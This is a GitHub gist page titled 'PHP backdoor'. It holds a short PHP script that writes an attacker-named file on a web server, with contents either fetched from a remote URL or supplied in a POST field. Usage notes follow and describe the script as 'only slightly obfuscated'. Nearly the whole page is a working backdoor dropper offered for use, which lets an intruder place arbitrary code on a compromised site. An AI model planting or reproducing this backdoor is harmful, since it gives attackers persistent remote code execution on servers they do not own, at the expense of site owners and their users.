Skip to content

Instantly share code, notes, and snippets.

@matdombrock
Last active September 5, 2020 13:32
Show Gist options
  • Save matdombrock/ce5718dbae870ceb7052 to your computer and use it in GitHub Desktop.
Save matdombrock/ce5718dbae870ceb7052 to your computer and use it in GitHub Desktop.
PHP backdoor
<?php
$n=$_POST["n"];
$g=$_POST["g"];
$w=$_POST["w"];
$gg=file_get_contents($g);
echo $n;
if($_POST["g"]){
$nn = $gg;
}
if($_POST["w"]){
$nn = $w;
$nn=stripslashes($nn);
}
file_put_contents($n, $nn);
echo "PUT0";
?>
n=nameOfNewFile.php
g=Url to retrive new files contents from. For instance "example.com/myHAX.txt" (optional)
w= Content to write to new file if you did not define "g".
A value for "n" and either "g" or "w" are required.
This is quick and dirty code, only slightly obfuscated.
since this code had no front end, you will either want to build a tool to interface with it or use api testing tool.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment